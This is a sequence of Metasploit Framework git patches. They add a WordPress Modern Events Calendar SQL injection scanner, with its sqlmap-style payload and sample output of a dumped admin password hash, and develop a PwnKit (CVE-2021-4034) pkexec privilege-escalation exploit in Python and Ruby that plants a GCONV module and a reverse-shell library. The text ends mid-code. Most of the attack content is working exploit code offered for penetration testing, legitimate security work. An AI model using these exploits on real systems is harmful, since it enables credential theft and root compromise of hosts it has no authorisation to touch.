Application + +Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in +versions before 6.1.5. The `time` parameter is vulnerable to injection. + +The plugin can be downloaded [here](https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip) + +This module slightly replicates sqlmap running as: + +``` +sqlmap -u 'http:///wp-admin/admin-ajax.php?action=mec_load_single_page&time=2' -p "time" --technique T -T wp_users -C user_login,user_pass --dump --dbms mysql +``` + +## Verification Steps + +1. Install the plugin, use defaults +2. Start msfconsole +3. Do: `use auxiliary/scanner/http/wp_modern_events_calendar_sqli` +4. Do: `set rhosts [ip]` +5. Do: `run` +6. You should get the users and hashes returned. + +## Options + +### ACTION: List Users + +This action lists `COUNT` users and password hashes. + +## COUNT + +If action `List Users` is selected (default), this is the number of users to enumerate. +The larger this list, the more time it will take. Defaults to `1`. + +## Scenarios + +### Modern Events Calendar 6.1.0 on Wordpress 5.7.5 on Ubuntu 20.04 + +``` +resource (calendar.rb)> use auxiliary/scanner/http/wp_modern_events_calendar_sqli +resource (calendar.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (calendar.rb)> set verbose true +verbose => true +resource (calendar.rb)> run +[*] Checking /wp-content/plugins/modern-events-calendar-lite/readme.txt +[*] Found version 6.1.0 in the plugin +[+] Vulnerable version of Modern Events Calendar detected +[*] {SQLi} Executing (select group_concat(FMuxps) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) FMuxps from wp_users limit 1) tXKksULcj) +[*] {SQLi} Encoded to (select group_concat(FMuxps) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xde,0)),ifnull(user_pass,repeat(0x79,0))) as binary) FMuxps from wp_users limit 1) tXKksULcj) +[*] {SQLi} Time-based injection: expecting output of length 40 +admin +$P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0 +[+] wp_users +======== + + user_login user_pass + ---------- --------- + admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0 + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb b/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb new file mode 100644 index 0000000000..5fe032a3c8 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Auxiliary::Scanner + include Msf::Exploit::SQLi + require 'metasploit/framework/hashes/identify' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Modern Events Calendar SQLi Scanner', + 'Description' => %q{ + Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in + versions before 6.1.5. The time parameter is vulnerable to injection. + }, + 'Author' => [ + 'h00die', # msf module + 'Hacker5preme (Ron Jost)', # edb + 'red0xff' # sqli lib assistance + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'EDB', '50687' ], + [ 'CVE', '2021-24946' ], + [ 'URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md' ], + [ 'WPVDB', '09871847-1d6a-4dfe-8a8c-f2f53ff87445' ] + ], + 'Actions' => [ + ['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }], + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + }, + 'DefaultAction' => 'List Users', + 'DisclosureDate' => '2021-12-13' + ) + ) + register_options [ + OptInt.new('COUNT', [false, 'Number of users to enumerate', 1]) + ] + end + + def run_host(ip) + unless wordpress_and_online? + fail_with Failure::NotVulnerable, 'Server not online or not detected as wordpress' + end + + checkcode = check_plugin_version_from_readme('modern-events-calendar-lite', '6.1.5') + unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode) + fail_with Failure::NotVulnerable, 'Modern Events Calendar version not vulnerable' + end + print_good('Vulnerable version of Modern Events Calendar detected') + + @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| # also tried encoder: :base64 and still not quite getting the right answer. + d = Rex::Text.rand_text_numeric(4) + # the webapp takes this parameter and uses it two times in the query, therefore our sleep is 2x what it should be. so we need to cut it. + payload = payload.gsub(/sleep\(\d+\.\d+\)/i, "sleep(#{datastore['SQLIDELAY'] / 2})") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), + 'vars_get' => { + 'action' => 'mec_load_single_page', + # taken from sqlmap + 'time' => "#{Rex::Text.rand_text_numeric(1)}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}" + } + }) + fail_with Failure::Unreachable, 'Connection failed' unless res + end + unless @sqli.test_vulnerable + fail_with Failure::PayloadFailed, "#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay." + end + + columns = ['user_login', 'user_pass'] + results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT']) + table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns) + results.each do |user| + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: user[0], + private_type: :nonreplayable_hash, + jtr_format: identify_hash(user[1]), + private_data: user[1], + service_name: 'Wordpress', + address: ip, + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED + }) + table << user + end + print_good(table.to_s) + end +end From 5f45e4019229f8f7ae2767b9c88a588c86d4d5ea Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 3 Feb 2022 17:37:27 -0500 Subject: [PATCH 012/110] update wp-exploitable-plugins --- data/wordlists/wp-exploitable-plugins.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index eeeea14be1..69ec076c6d 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -40,6 +40,7 @@ wordpress-mobile-pack learnpress wp-mobile-edition boldgrid-backup +modern-events-calendar-lite gi-media-library chopslider bulletproof-security @@ -48,4 +49,5 @@ simple-backup subscribe-to-comments easy-wp-smtp duplicator_download +custom-registration-form-builder-with-submission-manager woocommerce-abandoned-cart From 4f6908969066327afee19a20f4d8776d24f7a8ad Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Fri, 4 Feb 2022 13:38:50 +0000 Subject: [PATCH 013/110] Fix to_handler case sensitivity issue --- lib/msf/ui/console/command_dispatcher/payload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb index f6004d2322..9ed5149960 100644 --- a/lib/msf/ui/console/command_dispatcher/payload.rb +++ b/lib/msf/ui/console/command_dispatcher/payload.rb @@ -58,7 +58,7 @@ module Msf } } - handler.datastore.merge!(mod.datastore) + handler.share_datastore(mod.datastore) handler.exploit_simple(handler_opts) job_id = handler.job_id From c44fb6a9d3c1bbd1c1f8ef24ea1da7f30219cf47 Mon Sep 17 00:00:00 2001 From: bwatters Date: Mon, 7 Feb 2022 14:32:28 -0600 Subject: [PATCH 014/110] ugly but working no-gcc module --- data/exploits/CVE-2021-4034/cve_2021_4034.py | 31 ++++++++ .../local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 74 +++++++++++++++---- 2 files changed, 91 insertions(+), 14 deletions(-) create mode 100644 data/exploits/CVE-2021-4034/cve_2021_4034.py diff --git a/data/exploits/CVE-2021-4034/cve_2021_4034.py b/data/exploits/CVE-2021-4034/cve_2021_4034.py new file mode 100644 index 0000000000..81c2023fed --- /dev/null +++ b/data/exploits/CVE-2021-4034/cve_2021_4034.py @@ -0,0 +1,31 @@ +import subprocess +import sys +import os +import shutil +from ctypes import cdll, c_char_p, POINTER + +libc = cdll.LoadLibrary("libc.so.6") +libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + +command = "mkdir -p GCONV_PATH=.".split() +subprocess.run(command) +command = "touch GCONV_PATH=./pwnkit".split() +subprocess.run(command) +command = "chmod a+x GCONV_PATH=./pwnkit".split() +subprocess.run(command) +command = "mkdir -p pwnkit".split() +subprocess.run(command) +file = open("pwnkit/gconv-modules", 'w') +file.write("module UTF-8// PWNKIT// pwnkit 2") +file.close() +shutil.copyfile('/tmp/revtcpx64.so', 'pwnkit/pwnkit.so') +argv = [None] +cmd = b'/usr/bin/pkexec' +env = [b"pwnkit", b"PATH=GCONV_PATH=.", b"CHARSET=PWNKIT", b"SHELL=pwnkit", None] + +cargv = (c_char_p * len(argv))(*argv) +cenvp = (c_char_p * len(env))(*env) + +libc.execve(cmd, cargv, cenvp) + diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index eeb36d1046..c0e8dc3177 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -14,6 +14,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + def initialize(info = {}) super( update_info( @@ -39,6 +41,7 @@ class MetasploitModule < Msf::Exploit::Local 'DisclosureDate' => '2022-01-25', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, @@ -50,41 +53,84 @@ class MetasploitModule < Msf::Exploit::Local 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], - 'SideEffects' => [ ] + 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'DefaultTarget' => 0 ) ) register_advanced_options([ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('PkexecPath', [ false, 'The path to pkexec binary', '' ]) ]) end + def find_pkexec + pkexec_possibilities = 'pkexec', '/usr/bin/pkexec' + pkexec_possibilities.each do |pkexec| + vprint_status("Checking for #{pkexec}") + if exists? pkexec + vprint_status("Found pkexec here: #{pkexec}") + return pkexec + end + end + return nil + end + + def check + # TODO: check release... + pkexec_path = datastore['PkexecPath'] + if pkexec_path.empty? + pkexec_path = find_pkexec + end + if pkexec_path.nil? + return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') + else + return CheckCode::Appears + end + end + + def find_exec_program + return 'python' if command_exists?('python') + return 'python3' if command_exists?('python3') + + return nil + end + def exploit if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end + pkexec_path = datastore['PkexecPath'] + if pkexec_path.empty? + pkexec_path = find_pkexec + end + + python_binary = find_exec_program + + if pkexec_path.nil? + fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath' + end + + if python_binary.nil? + fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath' + end + unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end - payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" - upload_and_chmodx(payload_file, generate_payload_exe) + payload_file = "#{datastore['WritableDir']}/revtcpx64.so" + upload_and_chmodx(payload_file.to_s, generate_payload_dll) register_file_for_cleanup(payload_file) exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" - if live_compile? - vprint_status 'Live compiling exploit on system...' - upload_and_compile exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.c') - else - vprint_status 'Dropping pre-compiled exploit on system...' - upload_and_chmodx exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034') - end + write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py')) register_file_for_cleanup(exploit_file) - print_status("Executing exploit '#{exploit_file}'") - result = cmd_exec("echo '#{payload_file}' | #{exploit_file}") - print_status("Exploit result:\n#{result}") + cmd = "#{python_binary} #{exploit_file}" + vprint_status("Running #{cmd}") + output = cmd_exec(cmd) + vprint_status(output) end end From 65ebeafacc3cd985067011a55415008facb8d4fe Mon Sep 17 00:00:00 2001 From: bwatters Date: Mon, 7 Feb 2022 16:52:12 -0600 Subject: [PATCH 015/110] Use the supplied directory --- data/exploits/CVE-2021-4034/cve_2021_4034.py | 18 +++++++++--------- .../local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 16 ++++++++++++++-- 2 files changed, 23 insertions(+), 11 deletions(-) diff --git a/data/exploits/CVE-2021-4034/cve_2021_4034.py b/data/exploits/CVE-2021-4034/cve_2021_4034.py index 81c2023fed..72782c1654 100644 --- a/data/exploits/CVE-2021-4034/cve_2021_4034.py +++ b/data/exploits/CVE-2021-4034/cve_2021_4034.py @@ -8,18 +8,18 @@ libc = cdll.LoadLibrary("libc.so.6") libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) -command = "mkdir -p GCONV_PATH=.".split() -subprocess.run(command) -command = "touch GCONV_PATH=./pwnkit".split() -subprocess.run(command) -command = "chmod a+x GCONV_PATH=./pwnkit".split() -subprocess.run(command) -command = "mkdir -p pwnkit".split() -subprocess.run(command) +#command = "mkdir -p GCONV_PATH=.".split() +#subprocess.run(command) +#command = "touch GCONV_PATH=./pwnkit".split() +#subprocess.run(command) +#command = "chmod a+x GCONV_PATH=./pwnkit".split() +#subprocess.run(command) +#command = "mkdir -p pwnkit".split() +#subprocess.run(command) file = open("pwnkit/gconv-modules", 'w') file.write("module UTF-8// PWNKIT// pwnkit 2") file.close() -shutil.copyfile('/tmp/revtcpx64.so', 'pwnkit/pwnkit.so') +shutil.copyfile('revtcpx64.so', 'pwnkit/pwnkit.so') argv = [None] cmd = b'/usr/bin/pkexec' env = [b"pwnkit", b"PATH=GCONV_PATH=.", b"CHARSET=PWNKIT", b"SHELL=pwnkit", None] diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index c0e8dc3177..a2df82c677 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -120,11 +120,22 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end - payload_file = "#{datastore['WritableDir']}/revtcpx64.so" + local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}" + working_dir = "#{datastore['WritableDir']}/#{local_dir}" + mkdir(working_dir) + + old_wd = pwd + cd(working_dir) + cmd_exec('mkdir -p GCONV_PATH=.') + cmd_exec('touch GCONV_PATH=./pwnkit') + cmd_exec('chmod a+x GCONV_PATH=./pwnkit') + cmd_exec('mkdir -p pwnkit') + + payload_file = "#{working_dir}/revtcpx64.so" upload_and_chmodx(payload_file.to_s, generate_payload_dll) register_file_for_cleanup(payload_file) - exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py')) register_file_for_cleanup(exploit_file) @@ -132,5 +143,6 @@ class MetasploitModule < Msf::Exploit::Local vprint_status("Running #{cmd}") output = cmd_exec(cmd) vprint_status(output) + cd(old_wd) end end From d1ba43e4c8bff911969addd8475cf185f8d84994 Mon Sep 17 00:00:00 2001 From: bwatters Date: Tue, 8 Feb 2022 15:51:10 -0600 Subject: [PATCH 016/110] Remove hard-coded values --- data/exploits/CVE-2021-4034/cve_2021_4034.py | 26 +++++++++---------- .../local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 15 +++++++---- 2 files changed, 23 insertions(+), 18 deletions(-) diff --git a/data/exploits/CVE-2021-4034/cve_2021_4034.py b/data/exploits/CVE-2021-4034/cve_2021_4034.py index 72782c1654..ba417e5058 100644 --- a/data/exploits/CVE-2021-4034/cve_2021_4034.py +++ b/data/exploits/CVE-2021-4034/cve_2021_4034.py @@ -7,22 +7,22 @@ from ctypes import cdll, c_char_p, POINTER libc = cdll.LoadLibrary("libc.so.6") libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) +polkit_bin = sys.argv[1].encode('latin-1') +payload_file = sys.argv[2] +random_string_1 = sys.argv[3] +random_string_2 = sys.argv[4] -#command = "mkdir -p GCONV_PATH=.".split() -#subprocess.run(command) -#command = "touch GCONV_PATH=./pwnkit".split() -#subprocess.run(command) -#command = "chmod a+x GCONV_PATH=./pwnkit".split() -#subprocess.run(command) -#command = "mkdir -p pwnkit".split() -#subprocess.run(command) -file = open("pwnkit/gconv-modules", 'w') -file.write("module UTF-8// PWNKIT// pwnkit 2") +file = open(random_string_1 + "/gconv-modules", 'w') +file.write("module UTF-8// " + random_string_2 + "// " + random_string_1 + " 2") file.close() -shutil.copyfile('revtcpx64.so', 'pwnkit/pwnkit.so') +shutil.copyfile(payload_file, random_string_1 + "/" + random_string_1 + ".so") argv = [None] -cmd = b'/usr/bin/pkexec' -env = [b"pwnkit", b"PATH=GCONV_PATH=.", b"CHARSET=PWNKIT", b"SHELL=pwnkit", None] +cmd = polkit_bin +env = [random_string_1.encode('latin-1')] +env.append(b"PATH=GCONV_PATH=.") +env.append(b"CHARSET=" + random_string_2.encode('latin-1')) +env.append(b"SHELL="+random_string_1.encode('latin-1')) +env.append(None) cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*env) diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index a2df82c677..56790803a4 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -123,26 +123,31 @@ class MetasploitModule < Msf::Exploit::Local local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}" working_dir = "#{datastore['WritableDir']}/#{local_dir}" mkdir(working_dir) + register_dir_for_cleanup(working_dir) + random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s + random_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s old_wd = pwd cd(working_dir) cmd_exec('mkdir -p GCONV_PATH=.') - cmd_exec('touch GCONV_PATH=./pwnkit') - cmd_exec('chmod a+x GCONV_PATH=./pwnkit') - cmd_exec('mkdir -p pwnkit') + cmd_exec("touch GCONV_PATH=./#{random_string_1}") + cmd_exec("chmod a+x GCONV_PATH=./#{random_string_1}") + cmd_exec("mkdir -p #{random_string_1}") - payload_file = "#{working_dir}/revtcpx64.so" + payload_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" upload_and_chmodx(payload_file.to_s, generate_payload_dll) register_file_for_cleanup(payload_file) exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py')) register_file_for_cleanup(exploit_file) - cmd = "#{python_binary} #{exploit_file}" + cmd = "#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}" vprint_status("Running #{cmd}") output = cmd_exec(cmd) vprint_status(output) cd(old_wd) + print_status("Verify cleanup of #{working_dir}") end end From 9635fde12d41345f4fd96ad7da63e1d2331190eb Mon Sep 17 00:00:00 2001 From: bwatters Date: Thu, 10 Feb 2022 10:49:02 -0600 Subject: [PATCH 017/110] Add support and templates for aarch64 targets --- .../src/elf/dll/elf_dll_aarch64_template.s | 93 ++++++++++++++++++ data/templates/template_aarch64_linux_dll.bin | Bin 0 -> 402 bytes lib/msf/core/exploit/exe.rb | 3 +- lib/msf/util/exe.rb | 14 +++ .../local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 24 ++++- 5 files changed, 128 insertions(+), 6 deletions(-) create mode 100644 data/templates/src/elf/dll/elf_dll_aarch64_template.s create mode 100644 data/templates/template_aarch64_linux_dll.bin diff --git a/data/templates/src/elf/dll/elf_dll_aarch64_template.s b/data/templates/src/elf/dll/elf_dll_aarch64_template.s new file mode 100644 index 0000000000..04a5435db8 --- /dev/null +++ b/data/templates/src/elf/dll/elf_dll_aarch64_template.s @@ -0,0 +1,93 @@ +; build with: +; nasm elf_dll_aarch64_template.s -f bin -o template_aarch64_linux_dll.bin + +BITS 64 +org 0 +ehdr: ; Elf64_Ehdr + db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 3 ; e_type = ET_DYN + dw 0xB7 ; e_machine = AARCH64 + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq shdr - $$ ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 2 ; e_phnum + dw shentsize ; e_shentsize + dw 2 ; e_shnum + dw 1 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + dd 1 ; p_type = PT_LOAD + dd 7 ; p_flags = rwx + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq 0xDEADBEEF ; p_filesz + dq 0xDEADBEEF ; p_memsz + dq 0x1000 ; p_align +phdrsize equ $ - phdr + dd 2 ; p_type = PT_DYNAMIC + dd 7 ; p_flags = rwx + dq dynsection ; p_offset + dq dynsection ; p_vaddr + dq dynsection ; p_vaddr + dq dynsz ; p_filesz + dq dynsz ; p_memsz + dq 0x1000 ; p_align + +shdr: + dd 1 ; sh_name + dd 6 ; sh_type = SHT_DYNAMIC + dq 0 ; sh_flags + dq dynsection ; sh_addr + dq dynsection ; sh_offset + dq dynsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dq 8 ; sh_addralign + dq 7 ; sh_entsize +shentsize equ $ - shdr + dd 0 ; sh_name + dd 3 ; sh_type = SHT_STRTAB + dq 0 ; sh_flags + dq strtab ; sh_addr + dq strtab ; sh_offset + dq strtabsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dq 0 ; sh_addralign + dq 0 ; sh_entsize +dynsection: +; DT_INIT + dq 0x0c + dq _start +; DT_STRTAB + dq 0x05 + dq strtab +; DT_SYMTAB + dq 0x06 + dq strtab +; DT_STRSZ + dq 0x0a + dq 0 +; DT_SYMENT + dq 0x0b + dq 0 +; DT_NULL + dq 0x00 + dq 0 +dynsz equ $ - dynsection + +strtab: + db 0 + db 0 +strtabsz equ $ - strtab +global _start +_start: + diff --git a/data/templates/template_aarch64_linux_dll.bin b/data/templates/template_aarch64_linux_dll.bin new file mode 100644 index 0000000000000000000000000000000000000000..b2784d988246f518c55e2a8ec657484d84d2bebc GIT binary patch literal 402 zcmb<-^>JfjWMqH=W`^wyAl@XXkONd=155#sc3`kzU;>g%K$Re6>_~Fx%=i1&-UErj zXa)g@3ML>0(q{m*2c1rUC}V)pFnu89Y*0B6g-ahy2?vyc>_%poB#@o}wI4=<+=UPD aKqX<}!wTiY^uyc+<8z@I#*N0u '2022-01-25', 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true }, 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'Targets' => [[ 'Auto', {} ]], + 'Targets' => [ + [ + 'x86_64', + { + 'Arch' => [ ARCH_X64 ] + } + ], + [ + 'aarch64', + { + 'Arch' => [ ARCH_AARCH64 ] + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true }, 'Privileged' => true, 'References' => [ [ 'CVE', '2021-4034' ], @@ -54,8 +67,7 @@ class MetasploitModule < Msf::Exploit::Local 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] - }, - 'DefaultTarget' => 0 + } ) ) register_advanced_options([ @@ -135,7 +147,9 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec("mkdir -p #{random_string_1}") payload_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + vprint_status('generating payload') upload_and_chmodx(payload_file.to_s, generate_payload_dll) + vprint_status('generating payload') register_file_for_cleanup(payload_file) exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" From 5bc60f5bf7a9b38d2e7e0c80d4cf3ff4d313aa3e Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 7 Feb 2022 14:07:46 -0600 Subject: [PATCH 018/110] clear any additional response on smtp connect When connecting to an SMTP server after `HELO` and auth complete there can be additional data sent from the client that sits in the socket queue. Adding a `get_once` after connection has settled ensure any pending for extension responses are cleared. --- lib/msf/core/exploit/remote/smtp_deliver.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/msf/core/exploit/remote/smtp_deliver.rb b/lib/msf/core/exploit/remote/smtp_deliver.rb index c0a136e3ee..52836e0d48 100755 --- a/lib/msf/core/exploit/remote/smtp_deliver.rb +++ b/lib/msf/core/exploit/remote/smtp_deliver.rb @@ -244,6 +244,10 @@ module Exploit::Remote::SMTPDeliver begin nsock.put(cmd) res = nsock.get_once + # read until `nil` is returned + while chunk = nsock.get_once + res += chunk + end rescue return nil end From 74521c8ced229d72853dde3348053503c7c4855c Mon Sep 17 00:00:00 2001 From: bwatters Date: Fri, 11 Feb 2022 20:30:05 -0600 Subject: [PATCH 019/110] Update check for supported CentOS, Ubuntu, and Debian Targets --- .../CVE-2021-4034/vuln-centos-versions.txt | 36 +++++++++ .../local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 81 ++++++++++++++++++- 2 files changed, 114 insertions(+), 3 deletions(-) create mode 100644 data/exploits/CVE-2021-4034/vuln-centos-versions.txt diff --git a/data/exploits/CVE-2021-4034/vuln-centos-versions.txt b/data/exploits/CVE-2021-4034/vuln-centos-versions.txt new file mode 100644 index 0000000000..6bdda04bf8 --- /dev/null +++ b/data/exploits/CVE-2021-4034/vuln-centos-versions.txt @@ -0,0 +1,36 @@ +polkit-0.112-5.ael7b +polkit-0.112-13.p1.el7a +polkit-0.96-2.el6 +polkit-0.96-2.el6_0.1 +polkit-0.96-5.el6_4 +polkit-0.96-7.el6 +polkit-0.96-7.el6_6.1 +polkit-0.96-11.el6 +polkit-0.96-11.el6_10.1 +polkit-0.112-1.el7 +polkit-0.112-5.el7 +polkit-0.112-6.el7_2 +polkit-0.112-7.el7_2.2 +polkit-0.112-7.el7_2.3 +polkit-0.112-7.el7_2 +polkit-0.112-9.el7 +polkit-0.112-11.el7_3 +polkit-0.112-12.el7_3 +polkit-0.112-12.el7_4.1 +polkit-0.112-14.el7 +polkit-0.112-14.el7_5.1 +polkit-0.112-17.el7 +polkit-0.112-18.el7 +polkit-0.112-18.el7_6.1 +polkit-0.112-18.el7_6.2 +polkit-0.112-22.el7 +polkit-0.112-22.el7_7.1 +polkit-0.112-26.el7 +polkit-0.115-6.el8 +polkit-0.115-9.el8 +polkit-0.115-9.el8_1.1 +polkit-0.115-11.el8 +polkit-0.115-11.el8_2.1 +polkit-0.115-11.el8_3.2 +polkit-0.115-11.el8_4.1 +polkit-0.115-12.el8 diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index 9921b2d1de..c01313c8e0 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -89,16 +89,89 @@ class MetasploitModule < Msf::Exploit::Local end def check - # TODO: check release... + # Is the arch supported? + arch = kernel_hardware + vprint_status("Found kernel hardware #{kernel_hardware}") + unless arch.include?('x86_64') || arch.include?('aarch64') + return CheckCode::Safe("System architecture #{arch} is not supported") + end + + # check the binary pkexec_path = datastore['PkexecPath'] if pkexec_path.empty? pkexec_path = find_pkexec end if pkexec_path.nil? return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') - else - return CheckCode::Appears end + + version_output = cmd_exec("#{pkexec_path} --version") + version_array = version_output.split(' ') + if version_array.length < 3 + return CheckCode::Safe("unable to determine pkexec version from string: #{version_output}") + end + + pkexec_version = Rex::Version.new(version_array[2]) + vprint_status("Found pkexec version #{pkexec_version}") + # Is is protected with a patch? + return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path) + + # Is the Distro supported? + sysinfo = get_sysinfo + + # If the target is Ubuntu... + if sysinfo[:distro] =~ /[dD]ebian/ + vprint_status('Determined host os is Debian') + package_data = cmd_exec('dpkg -s policykit-1') + pulled_version = Rex::Version.new(package_data.scan(/Version:\s(.*)/)[0][0]) + vprint_status("pulled_version = #{pulled_version}") + if sysinfo[:version] 